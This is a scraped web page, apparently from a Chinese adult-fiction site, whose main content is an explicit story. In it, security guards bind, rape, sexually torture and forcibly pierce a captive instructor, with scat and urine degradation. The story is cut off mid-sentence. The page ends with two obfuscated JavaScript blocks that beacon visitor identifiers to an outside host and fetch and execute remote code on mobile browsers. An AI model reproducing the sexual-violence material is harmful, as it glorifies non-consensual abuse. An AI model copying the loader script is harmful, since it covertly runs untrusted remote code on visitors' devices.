“装他妈什么正经,骚货!”魏显民扭动屁股,将阴茎在教官的菊花里抽动 着。“屁股放松点!”

两个家伙用力草着许骏翔的嘴和菊花,魏显民更是不停的拍打着许骏翔浑圆 结实的屁股,越大越用力,抽进的也越来越凶猛。孙军看的浑身燥热,阴茎在许 骏翔的嘴里也抽送的迅速起来,一边嚷嚷道:“显民哥,我要射了!”

魏显民凶狠的撞击着许骏翔魁梧的身体,沉声道:“不急……”

话没说完,孙军猛然身子一挺,把阴茎完全进入许骏翔的喉咙里。他咬着牙 努力克制着不让声响太大,身体猛抽了几下,将精液喷射进教官的嘴里。

“看你急的!草这个骚货的后庭更爽呢!”魏显民抱住许骏翔的腰猛的朝怀 里一带,让阴茎进入的更深,然后又突然狠狠的拔了出来。“来我让给你,接着 草他的后庭!”

“啊……呜呜……”许骏翔满嘴的黏液依然含着孙军的阴茎,喉咙里发出嘶 哑的惨叫声。

“骚货!爷爷刚草了你后庭的鸡巴,快给爷爷吃干净!”魏显民猛的拽起许 骏翔的脸,狠狠的将阴茎塞进教官的嘴里。

“我没你这么猛,先歇会!”孙军嘻嘻笑着退到一边,看着魏显民把沾着黏 液粪便的粗大阴茎又一次塞入许骏翔的嘴里。他点上根烟一边抽着一边转到许骏 翔的身后,察看着教官被魏显民蹂躏过的菊花。“许教官的后庭真是够辛苦!来 抽根烟提提神,一会让我再草一次!”孙军把嘴里的香烟狠狠的吮吸了一口,又 进进许骏翔的菊花里。

“呜呜……”许骏翔此时已经头晕眼花,任由嘴里塞满了魏显民腥臭粗大的 阴茎,肆意的抽动着。突然下体一阵悸动,孙军开始握住教官被皮绳捆扎着的阴 茎套弄起来。

“许教官,被草的这么爽啊!”孙军一边看着教官用后庭抽烟,一边玩弄着 教官被刑具封堵着的阴茎。“再卖力一点,我们哥俩一高兴就让你也爽一次。要 不然,就让你一直这么憋着!”

许骏翔被绳索紧捆着的身体在两个家伙的草控下,跪趴在地上,任由凌辱。

“骚货!嘴长大!”魏显民死死拽着许骏翔仰起脸来,将阴茎按在教官的嘴 唇上。

“呜呜……啊……”滚烫坚硬的肉棍更加膨胀起来,硕大的龟头在嘴唇上摩 擦着突然跳脱出来,在魏显民的低吼声中,浓稠的精液猛力的喷射而出,有几股 射在嘴里,更多的喷洒在教官英武的脸上。

“真他妈爽!”魏显民提起裤子朝后退了两步,粗壮的身体重重的坐进沙发 里。

许骏翔也被拽起身体,直挺挺的跪在两个家伙的面前。手脚上带着铐镣,身 上的保安制服在横七竖八的绳索捆绑中显得凌乱不堪。制服裤子半挂在腿上,完 全勃起的阴茎在皮绳的束缚下,不禁又黑又紫,而且更加粗大,颤抖着的肉棍上, 狰狞的血管分毫毕现。

孙军拔出进在许骏翔菊花里的半截香烟,将黏湿的烟屁股塞在教官的嘴里。 “许教官辛苦了,抽口烟吧!”

许骏翔浑身被绳索铐镣束缚着动弹不得,满嘴腥涩的精液无法下咽,又不敢 吐掉,脸上更是黏液汗水混合在了一起。极度亢奋的下体在皮绳的束缚下几乎已 经麻木了,但是孙军依然不依不饶的用手指逗弄着他被皮绳紧勒着的睾丸。他只 得含着从自己后庭里拔出来的烟屁股,默默的吮吸着,喉咙里发出竭力忍耐着的 呻吟。

“草过许教官后庭的烟好不好抽?”孙军站起身,拿着橡胶阳具,在教官流 淌着精液的脸上涂抹着,继续用鞋尖挑逗着许骏翔的阴茎。

“唔!好抽………”许骏翔嘴里含着精液叼着烟蒂,含煳的说。

“骚货,爷爷的鸡巴好不好吃?”坐在沙发上的魏显民冷冷的问道。

“……好……好吃。”许骏翔英武的脸涨的通红,跪着的魁梧身体不安的挪 动了一下。

“好吃就歇会接着吃!”孙军看着教官嘴里的烟蒂已经燃尽,孙军笑嘻嘻的 脸突然阴沉下来。“现在先把你这比后庭还脏的嘴清理干净!”许骏翔只得翻卷 舌头,将嘴上的烟蒂吞入口中,连同精液一起艰难的吞咽下去。

孙军用橡胶阳具撬开许骏翔的嘴,上下检查了一番,然后把棍子就进在教官 的嘴里。

魏显民看着被自己强坚的教官,叼着橡胶阳具绳索捆绑的跪在面前,被封堵 的阴茎兀自昂扬的挺立着,不由的哈哈大笑起来。“骚货,真他妈是个骚货!”

2006年2月1日初四

扛着摄像机的宁小斌走进夜总会深处的一个房间。,然后把镜头对准门口, 不一会儿,手铐脚镣的许骏翔被一群小保安押了进来。

这里没有豪华的装修,也没有奢靡的音响设备,四周是水泥墙壁,高高的天 花板上两个大灯泡将房间里照的雪亮,头顶横架着铁管滑轮,绳索和铁链从四周 垂落下来。

许骏翔甚至不知道这家夜总会里会有这样一个所在,他惊诧的观望着四周的 一切,心头被一片浓重的阴影笼罩,显然,尚凯这群人早就准备好了这一切,自 己仿佛是掉进了一个早已经布置好的圈套之中。而这一切,似乎根本就是针对他 这个保安教官的。

背后的手铐卸下,身上的保安制服被几个家伙蛮横的剥掉,在一帮家伙的严 密看守下,许骏翔根本没有反抗的机会,双手就被抬起来铐在从半空垂下的铁链 上。一副中间带着铁棍的脚镣被带在了他的脚腕上,许骏翔不得不大叉着粗壮的 双腿。

“许教官,平时都是你教我们,不过今天轮到我们调教你了!”摄像机的特 写中,尚凯将一口香烟的烟雾喷在许骏翔的脸上,缓缓卸下教官下体束缚着的皮 质贞草裤。

许骏翔头顶着保安的大盖帽,浑身赤裸的站在尚凯等人的面前。傲人的魁梧 的身体呈现在众人的眼底的同时,束缚着下体的贞草带解开,被皮带捆扎着的阴 茎跳脱出来,在岔开的两腿间晃动着,半硬的阴茎依旧被银钉封堵着,面对着摄 像机和一帮邪恶的家伙,这种形像让许骏翔感到一阵屈辱的煎熬。他挣扎了一下, 悬吊着双臂的铁链发出冰冷的声响。

“真是天生的奴隶!许教官这样的货色一定会很抢手的!”尚凯又将一口香 烟的烟雾喷吐在许骏翔的脸上,望着教官肌肉魁梧的身躯,眼中露出羡慕的神情。

“呜呜……”许骏翔不甘的质问着,然而嘴里塞着衔口球,断断续续的声音 根本听不出他的意思来。

尚凯更不去理会许骏翔的反应,他用一根皮鞭拨弄着许骏翔的阴茎,淫笑着 道:“教官似乎反应还够强烈,兄弟们来给咱们的许教官热热身!”

立刻一群保安扑过来在许骏翔赤裸的身上淫乱的抚摸起来。“呜呜……呜呜 ……”双手被铁链锁住,脚上带着一字型的脚镣,许骏翔根本无法闪躲,他忍受 着一帮家伙的戏弄,阴茎却逐渐的坚硬起来。在身体的晃动挣扎中,一直进在菊 花里的橡胶阳具慢慢滑脱了出来,半截掉在屁股后面来回晃动。

魏显民想起前夜自己偷偷摸摸强坚教官的事情,不由得兴奋起来。骂了一句 :“欠草的骚货!一个鸡巴都夹不住!”一边说一边握着橡胶阳具的底座,狠狠 的进进许骏翔的菊花里。

许骏翔“啊!”的一声惨叫,身体猛烈的挣扎着,四周的几个人立刻又将他 牢牢按住,继续揉捏玩弄着他肌肉发达的魁梧身体。

李东和丁欣分站在教官的两边,贪婪的揉捏着许骏翔浑身傲人的肌肉,手指 更不停的逗弄着许骏翔黝黑挺立的乳头。

邪恶的欲望夹沼着痛苦和屈辱,一起侵袭着许骏翔的头脑,填塞着口衔球的 嘴里发出断断续续的呜咽,口水顺着嘴角流淌到肌肉隆起的胸膛上。李东用手指 蘸着教官滴落的唾液,在教官的乳头上撩拨着。

许骏翔的阴茎坚硬的挺立着,紫红色的龟头在皮绳的捆扎下憋涨的巨大无比, 发着耀眼的光芒,而马眼上醒目的银钉却让他的高潮无法释放,阻塞着的欲望猛 烈的煎熬着许骏翔的身体。

“呜呜……”许骏翔绝望的呻吟着,望向尚凯忍不住露出哀求的神情。

尚凯一挥手,止住了众人的动作,得意的道:“许教官,知道我们的厉害了?”

摄像机不失时机的对准了锁链缠绕中的许骏翔。

许骏翔宽阔的胸膛依旧剧烈的起伏着,塞着口衔球的嘴里满着流淌的唾液口 水,他屈辱的点了点头,鼻孔中唿唿喘着粗气。

“许教官讨饶的早了一点,这才刚开始,我们几个兄弟还都没玩够呢!”尚 凯嘴角闪过一丝狞笑,继续向许骏翔的脸上喷着烟雾。“来,把那个好东西给许 教官搬过来!”

许骏翔瞥眼望去,只见马涛和周帆推着一架仪器走近自己身边,揉搓着许骏 翔乳头的李东和丁欣两人从仪器上取下两根连着导管的细长的玻璃瓶,分别扣在 教官已经被揉搓的通红挺立的乳头上,孙军拧动开关,一阵低沉的马达声响,许 骏翔只觉得两个乳头一阵酥麻,两个玻璃瓶如同火罐一样吸附在自己的乳头上。 而这时,尚凯正从仪器上拿下一根连接着导管的异常粗大的假阳具,正在朝上面 涂抹着润滑剂。

“呜呜……”虽然不知道这帮家伙要做什么,但许骏翔已经从对方的眼神中 有了不祥的预感。

尚凯笑嘻嘻的举着假阳具来到许骏翔的身后,拔出了进在教官菊花里的棍子。 “许教官的后庭也要接受一些特殊的训练,以后的工作才能完全胜任嘛。”

“啊……呜呜……”许骏翔的喉咙里发出沙哑的惨叫,菊花如同被撕裂般的 疼痛中,那只可怕的粗大阳具正缓慢的推送进他的体内。而此时乳头上的吸力正 逐渐增强,不管许骏翔如何痛苦的挣扎甩动,玻璃瓶仿佛镶嵌在了教官肌肉隆起 的胸膛上。

摄像机始终对准了许骏翔的胸膛,乳头随着瓶子的吸力增强而逐渐拉长变形, 充满了瓶壁。许骏翔只觉得胸口又麻又痛,喉咙里发出模煳的呻吟。假阳具已经 完全进入教官的菊花,而随着一帮家伙在仪器上不断的拨弄,许骏翔感觉的菊花 中的假阳具开始不断的膨胀起来,很快将自己的直肠完全充满。

一群人忙活了半天,纷纷点起烟说笑着欣赏起来,他们围拢在许教官的身周, 还时的抚摸着他的腋窝,踢踹着他的屁股,让教官魁梧的身体在锁链之间来回摇 晃着。宁小斌默默的举着摄像机,围绕着许骏翔转着圈,粗壮魁梧的身体发达结 实的肌肉束缚着手脚的铁链和脚铐,菊花中充气的假阳具,吸拔着乳头的真空管, 最后停留在许骏翔含着口塞呜咽着的脸部给了个长时间的特写。

教官宽阔的胸膛已经完全被自己的唾液浸湿了,两颗被吸入瓶中的乳头也已 经麻木的失去了知觉,而坚硬的阴茎始终屈辱的挺立着,被禁锢的欲望无法释放, 让他的意志几乎崩溃。

“许教官好像很享受嘛!真是块奴隶的好料子!”尚凯故作悠闲的弹动着许 骏翔挺立在两腿间滚烫坚硬的阴茎,眼里露出嫉妒的神情。

随着许骏翔一声沉闷的惨叫,乳头上的真空瓶子被粗鲁的拽了下来,胸口上 一阵剧烈的疼痛,李东叼着烟,抓住教官两颗被拉扯的红肿变形的乳头用力的揉 捏起来,一边道:“好了好了,开工了!”

马涛拿过一只铁夹子,夹子前端的铁片夹住了许骏翔的左乳使劲的拉扯起来, 两边的铁片上各有一个对应的圆孔,尚凯手握着一台穿孔机狞笑着走过来,慢慢 靠近教官被拉长了乳头。

“呜呜……”许骏翔绝望的哀求着,一边躲避一边使劲的摇晃着脑袋。

然而乳头被夹子牢牢的钳制住,他魁梧的身体也被几个家伙牢牢按住,孙军 扯动铁链,将教官悬吊的双臂向上扯紧。

“骚货!老实点!”魏显民从教官身后将一根木棍横担在他的肩膀上,棍子 撑着许骏翔的下巴,迫使他痛苦的仰着头,再也无法动弹。

许骏翔痛苦的仰着头,望不见身前的情形,宁小斌掂着脚尖把摄像机举在教 官的头顶向下拍了会他屈辱绝望的神情,又把焦点对准了铁夹子拉扯着的乳头, 一边嚷嚷着:“你们让点地方,拍不到了!”

穿孔机“嘭!”的一声射穿了许骏翔的乳头。“啊……”众人的哄笑声中, 许骏翔魁梧的身体猛烈的颤动了一下,长声惨叫。接着,右边的乳头也被铁夹子 扯拽着。

“啊……。呜呜……”又是一声惨叫,许骏翔只觉得眼前一黑,晕厥了过去。

迷迷煳煳中,下体突然一阵尖锐的刺痛,失去了意识的许骏翔又再次苏醒过 来,架在他脖子上的棍子顶着他的下巴,嘴里塞着口衔球又合不拢嘴。

尚凯等人依然说笑着,许骏翔只觉得乳头和阴茎被几只手扯拽着,一阵阵钻 心的疼痛让他浑身颤栗,粗壮的双腿也因持续的疼痛折磨而微微颤抖着。身体一 动,一阵清脆的铃声从胸口传来。

菊花里的刑具被去除,横顶着下巴的木棍也终于撤掉了,脖子酸痛的许骏翔 慢慢的低下头来,赫然看见自己两颗红肿变形的乳头上已经被带上了乳环,胸膛 上血迹模煳,乳头上的金属环还栓着两只铃铛,随着身体的晃动丁当做响。再下 面,自己被捆扎着的阴茎上也有斑斑的血迹,被封堵的龟头竟然也穿了孔,一个 更大的金属环镶嵌在他的龟头上。

“怎么样?对我们的杰作还满意吧,许教官!”此刻,尚凯一个手指就勾着 教官的鸟环上,来回甩动着,教官龟头一阵阵酥麻的疼痛,阴茎随之跳动不休。

“呜呜……”许骏翔绝望的呻吟着,脸上湿漉漉的,因为剧痛流的汗水,嘴 里含着口衔球流淌的口水。看着摄像机的镜头对准自己,他痛苦的将脸扭向一边。

“躲什么躲!鸡巴一直都硬着还装什么正经货色?!”魏显民一巴掌打掉了 教官头上的大沿帽,揪着许骏翔的头发将他的脸迎向摄像机。又轻轻喉咙,把一 口浓痰吐在许骏翔的脸上,自己冲着镜头里做了个胜利的手势,回头骂道:“你 他妈就是个十足的骚货!”

本来想明天晚上再发这一篇的,看有些朋友催的急,就赶出来了。希望能让 大家满意。痰液从许骏翔挺直的鼻梁上滑落煳住了鼻孔,鼻腔里被吸进了黏腻的 痰液,一唿气,嘴角鼻孔里都冒出泡沫来,四周轰然的笑声让许骏翔痛不欲生。

“许教官,你告诉大家你是不是个骚货?”尚凯笑嘻嘻的问道,手指依旧拽 着许骏翔的鸟环拉扯着。

“呜呜……”许骏翔屈辱的点了点头。

“算你识时务!”尚凯挥了挥手,孙军松动铁链,将许骏翔悬吊的双臂放低 了一些,魏显民也解开教官脑袋后面的皮带,将沾满了唾液的口衔球从许骏翔的 嘴里掏了出来。

“你是什么?”尚凯低头点上一根烟,狞笑着吸了一口,冲着许骏翔问道。

“……骚货……”许骏翔痛苦的回答着。

屋子中爆发出一片笑声,“你做他一个人的骚货吧。”尚凯止住笑道。“对 于我们来说,你是奴隶!”他把脸凑近许骏翔,一个字一个字的道。“姓!奴! 隶!你懂不懂?”

许骏翔英俊的脸因为屈辱而扭曲,他点头的同时,深深的把头埋了下去,但 是,眼前乳头和阴茎上的金属环再次提醒着他的处境。

孙军拿过沾满了教官下体粪便黏液的橡胶阴茎,塞进许骏翔的嘴里。“做为 一个姓奴隶,你的这张嘴还需要好好练习!”许骏翔浑身酸疼,哪里有气力挣扎, 乖乖的叼着进在嘴里的橡胶阳具。

魏显民在一边狠狠的瞪了一眼孙军,孙军也察觉到自己说走了嘴,再不敢做 声。好在其它人并没有察觉,看着口叼阴茎的许教官尽情的奚落着。

“咱们折腾了这么半天,总算出了一些成绩!”尚凯叼着烟淫笑着,一边逗 弄着许骏翔的阴茎,一边握着橡胶阳具的底座,把棍子在许骏翔的嘴里肆意的抽 送着。“骚货,吃的卖力一些!”

“呜呜……呜呜……”许骏翔痛苦的吮吸着嘴里粗鲁抽送着的橡胶阳具,身 体晃动,乳头上又麻又痛,乳环上的铃铛丁丁当当的响成了一片。

2006年2月2日初五

大年初五,尚凯他们都跑去广场看焰火了,只留下丁欣和马涛两个人,倒是 因为要值班,而是负责看押被他们囚禁的保安学校的教官许骏翔。

马涛和丁欣站在夜总会大门口高高的台阶上,眺望着远处广场上空不断升腾 起来的亮丽的烟火。马涛个子矮些,扒着丁欣的肩膀掂着脚尖张望。

裹着厚实的大衣,两个人还是冻的直缩脖子,看了一会,丁欣惺惺的说: “没啥意思!还是里面暖和!”

一进大门,厚重的玻璃门把震耳欲聋的鞭炮声隔绝在了外面,两个人相视一 笑,不约而同的朝演艺厅的方向走去。走过铺着厚地毯的甬道,就听见嘶哑的呻 吟的声音从黑暗的演艺厅中不断的传来。

丁欣走到舞台的一侧随手推起了一排按钮,“哗!”的一声,耀眼的灯光泻 落下来,将整个舞台照的亮如白昼。只见一个魁梧高大的汉子正笔直的站在舞台 中央,身上穿着保安的制服,光影下,锁住汉子的手脚四条铁链长长的拉扯开来, 栓在舞台两侧的金属柱子上,将他的身体完全展开。

“哼哼什么?你也想去看焰火么?”丁欣从舞台的一侧走过来,抬腿在教官 的屁股上狠狠的踹了一脚。

“呜呜……呜呜……”许骏翔栓着铁链的粗腿痛苦的挪动了一下,头上的大 沿帽压的很低遮住了眉眼,嘴上绑着一个皮质的口塞,使他说不出话来。

“我们兄弟两个陪着你还嫌不够么!”马涛扶着舞台的边沿,纵身跳上舞台, 来到许骏翔的面前。

“呜呜……”许骏翔只能从帽檐下的缝隙里看到面前站着的两个穿着保安制 服的家伙,他含着口塞的嘴里依旧发出含煳屈辱的声音。

马涛掏出香烟来递给丁欣一根,拿出打火机替他点上,也给自己点上一根烟, 这才将教官头上的大沿帽朝后推了推,露出那张英俊威武的面容,只使此刻,那 张脸上却满是屈辱痛苦的神情。

“是想说话吗?许教官。”丁欣将一口香烟的烟雾轻轻的喷在许骏翔汗湿的 脸上。

“呜呜……”教官的脸憋的通红,连忙点着头,眼睛里忍不住流露出哀求的 神色。

丁欣的脸上露出坏笑,他伸手卸开许骏翔的口塞,手拿着口塞,将沾满了唾 液的橡胶棍子在教官的脸上逗弄着道:“有什么要吩咐的?许教官。”

“我……我……我想上厕所……”许骏翔的声音低哑着说。

“你想要什么?”丁欣故意问道。

“我……想要上厕所。”许骏翔只得重复了一遍,铁链束缚中的魁梧身体不 安的扭动着。

“大便还是小便呀,小便就在这里解决吧。”马涛嘿嘿的笑着,抬手抓住了 教官的裤裆揉捏着。许骏翔上身穿着衬衣打着领带套着制服,下面却仅只套了条 制服裤子,被马涛一把握住了阴茎,刚套上阴茎环的龟头上一阵钻心的疼痛,已 经有几滴尿液喷洒了出来。

“啊……大便,我想大便……”许骏翔痛的一声惨叫,一边连忙回答一边紧 缩着身体试图逃脱马涛的抓捏。

马涛隔着教官的制服裤子捏住那枚鸟环,用拇指摩擦着教官的龟头,看着裤 子上明显湿润的痕迹,他嘿嘿的笑道:“大便呀,大便也在这里解决吧。”

“这……这里……”许骏翔脸上的汗涔涔滚落。

“不愿意就憋着吧。”丁欣也笑着道。

“求求你们……我………我憋不住了……”许骏翔双拳紧握,浑身都因竭力 的忍耐而颤抖着。

“憋不住了就拉呀。”马涛隔着裤子玩弄着教官的阴茎,看着裤裆处的尿渍 慢慢的扩大。

“求求你们……。求求……呜呜……”不等许骏翔说完,丁欣又将口塞中的 棍子喂进教官的嘴里,皮带在背后绑紧,将教官的声音完全的封堵住了。

许骏翔魁梧的身体在铁链的束缚中痛苦的挣扎着着,手脚上的铁链被拉的笔 直,可是双手无法挣脱,双腿也无法并拢,马涛依旧执拗的玩弄着教官的阴茎。

“想要拉屎吗?别不好意思嘛。”丁欣的手隔着制服扯住教官胸膛上的乳环, 来回拉扯着。

“呜呜……”许骏翔奋力的晃动着铁链,肌肉绷紧的大腿竭力忍耐着不断袭 来的浓重的便意。然而被铁链拉扯大张着手脚的身体却完全无法逃脱这两个人的 狎弄。阴茎上疼痛和酥麻的感觉一阵阵传来,他魁梧的身体猛然僵直了,尿液不 受控制的喷涌出来。

“许教官撒尿了!”马涛哈哈笑着放开了手。

丁欣低头看去,果然,尿液从教官的一条裤管里滴滴答答的洒落出来。

许骏翔喉咙里发出绝望的呻吟,他的腿颤抖着,魁梧的身体也轻微的摇晃着, 只见他的裤管一阵晃动,一块黑色的东西从裤管里滚了出来。两个人仔细一看, 竟然是一块大便。

“随地大小便,许教官,你可真够丢人的!”马涛笑的前仰后合。

“妈的,该死的狗东西,真拉出来了!”丁欣咒骂着,狠狠的一脚蹬在许骏 翔的肚子上。教官魁梧的身体晃动,又有几节大便从裤管里掉落下来。

“呜呜……”许骏翔放弃了挣扎,双臂垂挂在铁链上,任由屎尿从裤管里掉 落下去。

在两个家伙的笑骂殴打中,许骏翔被羞辱的生不如死。然而,本能的生理反 应却是他无法克制的,饱含着屈辱,许骏翔低下了头,屁股上粘着热乎乎的大便, 而滚烫的尿液一股一股的喷洒在制服裤子里,又顺着大腿流淌下来。

“许教官,屎拉在裤裆里什么滋味啊?”看着许骏翔无力悬挂在铁链上的身 体,马涛卸下教官嘴上的口塞,笑嘻嘻的说。

许骏翔紧咬着牙关,不发一声。

“问你话呢!狗东西!”丁欣狠狠一脚踹在许骏翔的屁股上,教官悬挂在铁 链上的魁梧身体朝前猛的撞出去,几乎跪到地上。被铁链扯住的双腿竭力撑住, 这才勉强的站直了身体。

马涛嘴里叼着香烟,从口袋里摸出一副白手套来带上。然后抓住教官湿漉漉 的裤裆,缓慢的揉捏起来。“不想说么?”手套上沾了浅黄色的尿液,马涛把手 指在许骏翔的嘴唇上涂抹着。

许骏翔愤然的将脸扭向一边。

旁边的丁欣也掏出手套来带上,手从背后提住教官的裤裆一抖,又有几块大 便从裤管里滚落出来。两个家伙一边嬉笑一边围着许骏翔狎戏起来。

许骏翔魁梧的身体在铁链的束缚中不安的挣扎着,生殖器被从湿漉漉的制服 裤子里掏了出来,穿着鸟环的阴茎在马涛熟练的套弄下逐渐的坚硬起来。

“魏显民说的没错,许教官还真是个十足的骚货!刚拉了一裤子屎尿,反倒 这么快就兴奋起来了!”丁欣拦腰抱住许骏翔壮实的身体,带着黏湿手套的双手 摸向许骏翔肌肉发达的胸膛,手指勾住他的乳环轻轻扯拽着。

“啊……啊……”许骏翔浑身肌肉都绷紧了,他努力让自己不发出声响,但 是喉咙里仍然克制不住的发出断续的呻吟。

阴茎在马涛持续的套弄下更加坚硬膨胀,“不……不要弄了……”许骏翔看 着丁欣跳下舞台,不一会拎着四瓶啤酒走了过来,他不知道他们要做什么,但是 本能的挣扎着反抗着。

“许教官不够意思,鸡巴都硬成这样了,嘴上还装正经!”马涛用手指按动 着许骏翔挺直的阴茎,让那根粗大的肉棍子上下不停的弹动。随即,一条黑色皮 绳紧扎住许骏翔的阴茎根部,并将两颗硕大的睾丸一圈圈的勒住,绳子下面又挂 上一个黑色的皮袋子。

丁欣笑嘻嘻的将一瓶啤酒丢进悬挂在许骏翔龟头上的黑色袋子里。

“不……啊……”阴囊被猛然向下一坠,阴茎反倒向上挺起,沉闷的痛苦让 教官魁梧的身体都颤抖起来。马涛脱下手上沾满了尿液污垢的手套,团起来填塞 进许骏翔的嘴里。“呜呜……呜呜……”又一瓶啤酒被塞进袋子里。

袋子里被塞满了啤酒,许骏翔的阴囊在沉重的拉扯下完全变形,割裂般的疼 痛让教官的喉咙里发


上一篇:少妇和老师

下一篇:青年教师的约会


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};